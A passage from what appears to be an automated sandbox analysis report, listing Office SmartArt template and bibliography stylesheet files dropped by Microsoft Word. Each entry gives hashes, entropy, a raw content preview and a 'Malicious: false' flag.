Size (bytes):	4326
Entropy (8bit):	7.821066198539098
Encrypted:	false
SSDEEP:	96:+fF+Jrp7Yo5hnJiGa24TxEcpUeONo1w2NFocy2LQi33Z:2+f7YuhJdJ4TxEcmKwGkk3Z
MD5:	D32E93F7782B21785424AE2BEA62B387
SHA1:	1D5589155C319E28383BC01ED722D4C2A05EF593
SHA-256:	2DC7E71759D84EF8BB23F11981E2C2044626FEA659383E4B9922FE5891F5F478
SHA-512:	5B07D6764A6616A7EF25B81AB4BD4601ECEC1078727BFEAB4A780032AD31B1B26C7A2306E0DBB5B39FC6E03A3FC18AD67C170EA9790E82D8A6CEAB8E7F564447
Malicious:	false
Preview:	PK.........n.A...#............docProps/thumbnail.jpgz.........{4.i....1.n.v)..#.\....A+..Q(."..D.......#Q)...SQ....2c.ei.JC...N.{......}.s.s..y>....d.(:.;.....q........$.OBaPbI..(.V...o.....'..b..edE.J.+.....".tq..dqX.......8...CA.@..........0.G.O.$Ph...%i.Q.CQ.>.%!j..F..."?@.1J.Lm$..`..oO...}..6......(%....^CO..p......-,.....w8..t.k.#....d..'...O...8....s1....z.r...rr...,(.)....]Q]S.{X.SC{GgWw..O....X./FF9._&..L.....[z..^......C...qI.f... .Hq....d*.d..9.N{{.N.6..6)..n<...iU]3.._.....%./.?......(H4<.....}..%..Z..s...C@.d>.v...e.'WGW.....J..:....`....n..6.....]W~/.JX.Qf..^...}...._Sg.-.p..a..C_:..F..E.....k.H..........-Bl$._5...B.w2e...2...c2/y3.U...7.8[.S}H..r/..^...g...\|...l..\M..8p$]..poX-/.2}..}z\.\|.d<T.....1....2...{P...+Y...T...!............p..c.....D..o..%.d.f.~.;.;=4.J..]1"("`......d.0.....L.f0.l..r8..M....m,.p..Y.f....\2.q. ...d9q....P...K..o!..#o...=.........{.p..l.n...........&..o...!J..\|)..q4.Z.b..PP....U.K..\|.i.$v

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328935[[fn=Picture Organization Chart]].glox (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	7370
Entropy (8bit):	7.9204386289679745
Encrypted:	false
SSDEEP:	192:fYa+ngK2xG6HvLvoUnXxO+blKO1lt2Zg0AV:fYVn8Y6Hv3XxO+8uQZCV
MD5:	586CEBC1FAC6962F9E36388E5549FFE9
SHA1:	D1EF3BF2443AE75A78E9FDE8DD02C5B3E46F5F2E
SHA-256:	1595C0C027B12FE4C2B506B907C795D14813BBF64A2F3F6F5D71912D7E57BC40
SHA-512:	68DEAE9C59EA98BD597AE67A17F3029BC7EA2F801AC775CF7DECA292069061EA49C9DF5776CB5160B2C24576249DAF817FA463196A04189873CF16EFC4BEDC62
Malicious:	false
Preview:	PK........;nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........HnB;..I)....j......._rels/.rels...J.@.._e..&6E.i/.,x..Lw'.j........G..\...................)...Y.3)..`...9r{v!......z...#>5.g.WJ%..T..>'m ..K.T.....j6[(:f.)S....C.mk5^.=:...X......C.... I......&5..e..H.1...).P.cw.kjT......C.......=.....}G!7E.y$.(...}b.........b=.<..^.....U..Y..PK.........^5a.2u............diagrams/layout1.xml..ko.8..+x.t.l..J.n.t.Mnw.x. ....B.t$.,.(&i.....(..d.mY......g.../[.<!.{ap>...L...p....G.9z?...._...e..`..%......8....G!..B8.....o...b.......Q.>\|.......g..O\B...i.h...0B.}.....z...k...H..t~r.v........7o.E....$....Z.........ZDd..~......>......O.3.SI.Y.".O&I....#."._c.$.r..z.g0`...0...q:...^0.EF...%(.Ao$.#.o6..c'....$%.}

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328940[[fn=Radial Picture List]].glox (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5596
Entropy (8bit):	7.875182123405584
Encrypted:	false
SSDEEP:	96:dGa2unnLYEB2EUAPOak380NQjqbHaPKJebgrEVws8Vw+BMa0EbdLVQaZJgDZh0pJ:UJunLYEB2EUAxk3pIYaScgYwsV4bdS0X
MD5:	CDC1493350011DB9892100E94D5592FE
SHA1:	684B444ADE2A8DBE760B54C08F2D28F2D71AD0FA
SHA-256:	F637A67799B492FEFFB65632FED7815226396B4102A7ED790E0D9BB4936E1548
SHA-512:	3699066A4E8A041079F12E88AB2E7F485E968619CB79175267842846A3AD64AA8E7778CBACDF1117854A7FDCFB46C8025A62F147C81074823778C6B4DC930F12
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK.........V.<.S.....Y.......diagrams/layout1.xml.\.r.8...U....m.$.."3.....;...../3.XAn..O.?....V.;...")Nr.O.H....O......_..E..S...L7....8H.y<=............~...Ic......v9.X.%.\.^.,?g.v.?%w...f.).9.........Ld;.1..?~.%QQ...h.8;.gy..c4..]..0Ii.K&.[.9.......E4B.a..?e.B..4....E.......Y.?_&!.....i~..{.W..b....L.?..L..@.F....c.H..^..i...(d.......w...9..9,........q..%[..]K}.u.k..V.%.Y.....W.y..;e4[V..u.!T...).%.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328951[[fn=Tabbed Arc]].glox (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3683
Entropy (8bit):	7.772039166640107
Encrypted:	false
SSDEEP:	96:GyfQZd6ZHNCWl9aXFkZwIq/QDsRYPf8P9QtDIs5r:G6wYtNZS1k99AmPfSOtD5r
MD5:	E8308DA3D46D0BC30857243E1B7D330D
SHA1:	C7F8E54A63EB254C194A23137F269185E07F9D10
SHA-256:	6534D4D7EF31B967DD0A20AFFF092F8B93D3C0EFCBF19D06833F223A65C6E7C4
SHA-512:	88AB7263B7A8D7DDE1225AE588842E07DF3CE7A07CBD937B7E26DA7DA7CFED23F9C12730D9EF4BC1ACF26506A2A96E07875A1A40C2AD55AD1791371EE674A09B
Malicious:	false
Preview:	PK.........a9;lq.ri...#.......diagrams/layout1.xmlz........WKn.0.];.`..J..AP...4E..!..hi$..I......z..D.d;...m.d...f.3o.._....9'.P.I1.F.C...d.D:.........Q..Z..5$..BO...e..(.9..2..+.Tsjp.. Vt.f.<...gA.h...8...>..p4..T...9.c...'.G.;.@.;xKE.A.uX.....1Q...>...B...!T.%.* ...0.....&......(.R.u..BW.yF.Grs...)..$..p^.s.c._..F4.. .<%.BD..E....x... ..@...v.7f.Y......N.\|.qW'..m..........im.?.64w..h...UI...J....;.0..[....G..\...?:.7.0.fGK.C.o^....j4............p...w:...V....cR..i...I...J=...%. &..#..[M....YG...u...I)F.l>.j.....f..6.....2.]..$7.....Fr..o.0...l&..6U...M..........%..47.a.[..s........[..r....Q./}.-.(.\..#. ..y`...a2......UA.$K.nQ:e!bB.H.-Q-a.$La.%.Z!...6L...@...j.5.....b..S.\c..u...R..dXWS.R.8"....o[..V...s0W..8:...U.#5..hK....ge.Q0$>...k.<...YA.g..o5...3.....~re.....>....:..$.~........pu ._Q..\|Z...r...E.X......U....f)s^.?...%......459..XtL:M.).....x..n9..h...c...PK........Ho9<"..%...........diagrams/layoutHeader1.xmlMP.N.0.>oOa.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328972[[fn=Tab List]].glox (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	4888
Entropy (8bit):	7.8636569313247335
Encrypted:	false
SSDEEP:	96:StrFZ23/juILHPzms5UTuK9CuZGEoEuZ28H1HiGa2RnnLY+tUb:SPZQ7uCHPzms5UTlqauZVHdJRnLY+tUb
MD5:	0A4CA91036DC4F3CD8B6DBF18094CF25
SHA1:	6C7EED2530CD0032E9EEAB589AFBC296D106FBB9
SHA-256:	E5A56CCB3B3898F76ABF909209BFAB401B5DDCD88289AD43CE96B02989747E50
SHA-512:	7C69426F2250E8C84368E8056613C22977630A4B3F5B817FB5EA69081CE2A3CA6E5F93DF769264253D5411419AF73467A27F0BB61291CCDE67D931BD0689CB66
Malicious:	false
Preview:	PK.........e.>.......]>......diagrams/layout1.xmlz........Z..6....;..{......lw.E.o....i..T....&...G.+...$..(.6..>Y.pf8C.\|3.?..m....xA8v.`.hW..@..Zn..(kb..(.......`.+....Y`...\..qh.0.!&w..)\|...<..]Q.. _....m..Z.{3..~..5..R..d..A.O....gU.M..0..#...;.>$...T......T..z.Z.\a.+...?#.~.....1.>?.....DD.1...'..,..(...5B...M..]..>.C..<[....,L.p..Q.v.v^q.Y...5.~^c..5........3.j.......BgJ.nv.. ............tt......Q..p..K....(M.(]@..E..~z.~...8...49.t.Q..Q.n..+.....J.#J.... .P...P.1...!.#&...?A..&.."..\|..D.I...:.....~/.....b..].........nI7.IC.a..%...9.....4...r....b..q....@o........O...y...d@+~.<.\....f.a`:...Qy/^..P....[....@i.I.._.?.X.x.8....)..s....I.0...\|.....t...;...q=k.=..N.%!.(.1....B.Ps/."...#.%..&...j<..2x.=<.......s.....h..?..]?Y?...C.}E.O........{..6.d....I...A.....JN..w+....2..m>9.T7...t.6.}.i..f.Ga..t.].->...8U......G.D`......p..f.. ...qT.YX.t.F..X.u=.3r...4....4Q.D..l.6.+PR...+..T..h: H.&.1~....n.....)........2J.. O.W+vd..f....0.....6..9QhV..

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328975[[fn=Theme Picture Accent]].glox (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	6448
Entropy (8bit):	7.897260397307811
Encrypted:	false
SSDEEP:	192:tgaoRbo1sMjb0NiJ85oPtqcS+yaXWoa8XBzdJYnLYFtWT7:LR1sk+i4o1qc1yaukzd8MK
MD5:	42A840DC06727E42D42C352703EC72AA
SHA1:	21AAAF517AFB76BF1AF4E06134786B1716241D29
SHA-256:	02CCE7D526F844F70093AC41731D1A1E9B040905DCBA63BA8BFFC0DBD4D3A7A7
SHA-512:	8886BFD240D070237317352DEB3D46C6B07E392EBD57730B1DED016BD8740E75B9965F7A3FCD43796864F32AAE0BE911AB1A670E9CCC70E0774F64B1BDA93488
Malicious:	false
Preview:	PK.........k.>........'......diagrams/layout1.xmlz........].r.8.}.V.?p.n....g5..JUn.....(SU......T.l.......X.d."m."..S....F..P.........-..<Y^..=..e.L....m>.pG.....M~...+\....u}o...".Yn}Y.".-r......0...'/........{........F.~.M8.d....(.....q.D.....4\.;.D,.\.)n.S....Z.cl.\|<..7._.dk..7..E.......kS...d.....i.....noX...o.W#9..}.^..I0....G.......+.K.[i.O.\|G..8=.;.8.8.8.8.....{..-..^.y..[.....`...0..f...Q<^~...l....{...pA.z.$.$R.../...E.(..Q.(V.E_ ......X]Q..Y9.......>...8......l..--.ug.......I.;..].u.b.3Lv:.d.%H..l<...V...$.M..A>...^M./.[..I....o~,.U. .$d\..?........O.;..^M..O...A.$Yx..\|f.n...H.=.\|!cG)dd%..(... ..Xe......2B."i...n....P.R..E?... Y.I6...7n..Xs..J..K..'..JaU..d..\|.(y.a.....d......D.Dr...._.._..m..Yu..6.o.\......&.m....wy...4k?..~........f....0.. \...}iS.i..R....q-#_..g........{Z.u.V.r(....j.I...,R..f.=.n.[.'..L'd.n C.0.I.....RpaV........c.k..NR....)B^k...d.i...d0.E. ^..G.']....x.c.>'..p...y.ny.P.x6..%.J\.....De.B\.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328983[[fn=Theme Picture Alternating Accent]].glox (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	5630
Entropy (8bit):	7.87271654296772
Encrypted:	false
SSDEEP:	96:n5ni6jKZWsD+QJaUQ7R6qYFF5QS+BEgeJam6S7ZCHuKViGa2CnnLYLt/ht:nccqxIBdQ1QS+uDJanS7ZCHHVdJCnLY5
MD5:	2F8998AA9CF348F1D6DE16EAB2D92070
SHA1:	85B13499937B4A584BEA0BFE60475FD4C73391B6
SHA-256:	8A216D16DEC44E02B9AB9BBADF8A11F97210D8B73277B22562A502550658E580
SHA-512:	F10F7772985EDDA442B9558127F1959FF0A9909C7B7470E62D74948428BFFF7E278739209E8626AE5917FF728AFB8619AE137BEE2A6A4F40662122208A41ABB2
Malicious:	false
Preview:	PK...........<..W8...j.......diagrams/layout1.xmlz........]......Hy..{...n .l.:.D.vvW..s....-a..fg&.}.\..+......4M..'=...(._.U]U......_.....U...k}.y.,......C..._^.......w/."7....v..Ea........Q..u..D{..{v.x.]....AtB15u..o...w..o.1...f.L...I<[zk7..7^..,.h.&l3...#..)..'H..d.r.#w=b...Ocw.y.&.v..t.>.s..m^M7..8I?o7................H...b....Qv.;'..%.f..#vR....V.H.),g..`...)(..m...[l...b...,.....U...Q.{.y.y.....G.I.tT.n..N.....A.tR..tr....i.<.......,.n:.#.A..a!X.......DK..;v..._M..lSc../n...v.....}.....I.\|8.!b.C..v..\|.....4l..n.;<9.i./..}!&2.c/.r...>.X02[..\|.a.-.....$#-....>...{.M].>3.,\o.x....X%;.F.k.)*".I8<.0..#......?.h..-..O.2.B.s..v....{Abd...h0....H..I.. ...%...$1.Fyd..Y....U...S.Y.#.V.....TH(....%..nk.3Y.e.m.-.S..Q...j.Ai..E..v......4.t.\|..&"...{..4.!.h.....C.P.....W...d[.....U<Yb;B.+W.!.@B....!.=......b"...Y.N;.#..Q...0G.lW...]7:...#9!z......\|f..r..x.....t........`.uL1u.:.....U.D.n.<Q.[%...ngC./..\|...!..q;;.w.".D..lt.".l.4".mt...E..mt

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328986[[fn=Theme Picture Grid]].glox (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	6193
Entropy (8bit):	7.855499268199703
Encrypted:	false
SSDEEP:	192:WavHMKgnU2HUGFhUnkbOKoztj1QfcnLYut3d8:YKeUlGXUnC+HQSMp
MD5:	031C246FFE0E2B623BBBD231E414E0D2
SHA1:	A57CA6134779D54691A4EFD344BC6948E253E0BA
SHA-256:	2D76C8D1D59EDB40D1FBBC6406A06577400582D1659A544269500479B6753CF7
SHA-512:	6A784C28E12C3740300883A0E690F560072A3EA8199977CBD7F260A21E8346B82BA8A4F78394D3BB53FA2E98564B764C2D0232C40B25FB6085C36D20D70A39D1
Malicious:	false
Preview:	PK........X..<..Zn\|...........diagrams/layout1.xmlz........]..H.}......M,l#g.j:.G-eu.S=.$......T_6..I...6...d.NJ....r.p.p.........\|.z.K.M..L.T.(........<..ks.......o...t}...P...7...`.+.[...H..._..X.u.....N....n....n\|..=.....K.:.G7.u....."g.n.h...O.,...c...f.b.P......>[l.....j..?..mxk..n..\|A...,\o..j..wQ.....lw.~].Lh..{3Y..D..5.Y..n..Mh.r..J....6.<.kO...Alv.._.qdKQ.5...-FMN......;.~..._..pv..&...%"Nz].n............vM.`..k..a.:.f]...a........y.....g0..`........\|V...Yq.....#...8....n..i7w<2Rp...R.@.]..%.b%..~...a..<.j...&....?...Qp..Ow\|&4>...d.O.\|.\|...Fk;t.P[A..i.6K.~...Y.N..9......~<Q..f...i.....6..U...l. ..E..4$Lw..p..Y%NR..;...B\|B.U...\e......S...=...B{A.]..*....5Q.....FI..w....q.s{.K....(.]...HJ9........(.....[U\|.....d71.Vv.....a.8...L.....k;1%.T.@+..uv.~v.]`.V....Z.....`.M.@..Z\|.r........./C..Z.n0.....@.YQ.8..q.h.....c.%...p..<..zl.c..FS.D..fY..z..=O..%L..MU..c.:.~.....F]c......5.=.8.r...0....Y.\o.o....U.~n...`...Wk..2b......I~

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328990[[fn=Varying Width List]].glox (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3075
Entropy (8bit):	7.716021191059687
Encrypted:	false
SSDEEP:	48:96yn4sOBoygpySCCxwKsZCB2oLEIK+aQpUNLRQWtmMamIZxAwCC2QnyODhVOzP4:l0vCxJsZQ2ofpKvtmMdIZxAwJyODhVOE
MD5:	67766FF48AF205B771B53AA2FA82B4F4
SHA1:	0964F8B9DC737E954E16984A585BDC37CE143D84
SHA-256:	160D05B4CB42E1200B859A2DE00770A5C9EBC736B70034AFC832A475372A1667
SHA-512:	AC28B0B4A9178E9B424E5893870913D80F4EE03D595F587AA1D3ACC68194153BAFC29436ADFD6EA8992F0B00D17A43CFB42C529829090AF32C3BE591BD41776D
Malicious:	false
Preview:	PK.........nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK.........nB;O.......k......._rels/.rels...J.@.._e..4...i/.,x..Lw'....v'.<....WpQ..,......7?....u.y..;bL../..3t.+.t.G....Y.v8.eG.MH,....(\..d..R....t>Z.<F-..G.(..\.x...l?..M..:#........2.#.[..H7..#g{...._j...(.....q......;.5'..Nt..."...A.h........>....\.'...L..D..DU<.....C.TKu.5Tu....bV..;PK.........C26.b..............diagrams/layout1.xml.T.n. .}N....).je./m.+u....`{..0P......p..U}c.9g..3....=h.(.."..D-.&....~.....y..I...(r.aJ.Y..e..;.YH...P.{b......hz.-..>k.i5..z>.l...f...c..Y...7.ND...=.%..1...Y.-.o.=)(1g.{.".E.>2.=...]Y..r0.Q...e.E.QKal,.....{f...r..9-.mH..C..\.w....c.4.JUbx.p Q...R......_...G.F...uPR...\|um.+g..?..C..gT...7.0.8l$.*.=qx.......-8..8.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328998[[fn=Rings]].glox (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5151
Entropy (8bit):	7.859615916913808
Encrypted:	false
SSDEEP:	96:WkV3UHhcZDEteEJqeSGzpG43GUR8m8b6dDLiCTfjKPnD6H5RhfuDKNtxx3+7tDLp:Wq3UBc9EJqIpGgD5dDL1DjKvDKhfnNti
MD5:	6C24ED9C7C868DB0D55492BB126EAFF8
SHA1:	C6D96D4D298573B70CF5C714151CF87532535888
SHA-256:	48AF17267AD75C142EFA7AB7525CA48FAB579592339FB93E92C4C4DA577D4C9F
SHA-512:	A3E9DC48C04DC8571289F57AE790CA4E6934FBEA4FDDC20CB780F7EA469FE1FC1D480A1DBB04D15301EF061DA5700FF0A793EB67D2811C525FEF618B997BCABD
Malicious:	false
Preview:	PK.........nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........5nB;.ndX....`......._rels/.rels...J.1.._%..f.J.J..x..AJ.2M&......g..#............\|.c..x{_._..^0e.\|.gU..z.....#.._..[..JG.m.....(...e..r."....P)....3..M].E:..SO.;D..c..J..rt...c.,.....a.;.....$.../5..D.Ue.g...Q3......5.':...@...~t{.v..QA>.P.R.A~..^AR.S4G......].n...x41....PK.........^5..s.V....Z......diagrams/layout1.xml.[]o.F.}N~..S.......VU.U+m6R........&.d.}...{M....Q.S....p9.'./O..z."..t>q....."[..j>y..?...u....[.}..j-...?Y..Bdy.I./.....0.._.....-.s...rj...I..=..<..9.\|>YK.....o.\|.my.F.LlB..be/E.Y!.$6r.f/.p%.......U....e..W.R..fK....`+?.rwX.[.b..\|..O>o.\|.....>1.......trN`7g..Oi.@5..^...]4.r...-y...T.h...[.j1..v....G..........nS..m..E"L...s

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851216[[fn=apasixtheditionofficeonline]].xsl (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	333258
Entropy (8bit):	4.654450340871081
Encrypted:	false
SSDEEP:	6144:ybW83Zb181+MKHZR5D7H3hgtfL/8mIDbEhPv9FHSVsioWUyGYmwxAw+GIfnUNv5J:i
MD5:	5632C4A81D2193986ACD29EADF1A2177
SHA1:	E8FF4FDFEB0002786FCE1CF8F3D25F8E9631E346
SHA-256:	06DE709513D7976690B3DD8F5FDF1E59CF456A2DFBA952B97EACC72FE47B238B
SHA-512:	676CE1957A374E0F36634AA9CFFBCFB1E1BEFE1B31EE876483B10763EA9B2D703F2F3782B642A5D7D0945C5149B572751EBD9ABB47982864834EF61E3427C796
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.. <xsl:output method="html" encoding="us-ascii"/>.... <xsl:template match="*" mode="outputHtml2">.. <xsl:apply-templates mode="outputHtml"/>.. </xsl:template>.... <xsl:template name="StringFormatDot">.. <xsl:param name="format" />.. <xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.. <xsl:when test="$format = ''"></xsl:when>.. <xsl:when test="substring($format, 1, 2) = '%%'">.. <xsl:text>%</xsl:text>.. <xsl:call-template name="StringFormatDot">.. <xsl:with-param name="format" select="substring($format, 3)" />.. <xsl:with-param name=

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851217[[fn=chicago]].xsl (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	296658
Entropy (8bit):	5.000002997029767
Encrypted:	false
SSDEEP:	6144:RwprAMk0qvtfL/vF/bkWPz9yv7EOMBPitjASjTQQr7IwR0TnyDkJb78plJwf33iV:M
MD5:	9AC6DE7B629A4A802A41F93DB2C49747
SHA1:	3D6E929AA1330C869D83F2BF8EBEBACD197FB367
SHA-256:	52984BC716569120D57C8E6A360376E9934F00CF31447F5892514DDCCF546293
SHA-512:	5736F14569E0341AFB5576C94B0A7F87E42499CEC5927AAC83BB5A1F77B279C00AEA86B5F341E4215076D800F085D831F34E4425AD9CFD52C7AE4282864B1E73
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851218[[fn=gb]].xsl (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	268317
Entropy (8bit):	5.05419861997223
Encrypted:	false
SSDEEP:	6144:JwprAJLR95vtfb8p4bgWPzDCvCmvQursq7vImej/yQzSS1apSiQhHDOruvoVeMUh:N9
MD5:	51D32EE5BC7AB811041F799652D26E04
SHA1:	412193006AA3EF19E0A57E16ACF86B830993024A
SHA-256:	6230814BF5B2D554397580613E20681752240AB87FD354ECECF188C1EABE0E97
SHA-512:	5FC5D889B0C8E5EF464B76F0C4C9E61BDA59B2D1205AC9417CC74D6E9F989FB73D78B4EB3044A1A1E1F2C00CE1CA1BD6D4D07EEADC4108C7B124867711C31810
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851219[[fn=gostname]].xsl (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	255948
Entropy (8bit):	5.103631650117028
Encrypted:	false
SSDEEP:	6144:gwprAm795vtfb8p4bgWPWEtTmtcRCDPThNPFQwB+26RxlsIBkAgRMBHcTCwsHe5a:kW
MD5:	9888A214D362470A6189DEFF775BE139
SHA1:	32B552EB3C73CD7D0D9D924C96B27A86753E0F97
SHA-256:	C64ED5C2A323C00E84272AD3A701CAEBE1DCCEB67231978DE978042F09635FA7
SHA-512:	8A75FC2713003FA40B9730D29C786C76A796F30E6ACE12064468DD2BB4BF97EF26AC43FFE1158AB1DB06FF715D2E6CDE8EF3E8B7C49AA1341603CE122F311073
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>............<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select=

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851220[[fn=gosttitle]].xsl (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	251032
Entropy (8bit):	5.102652100491927
Encrypted:	false
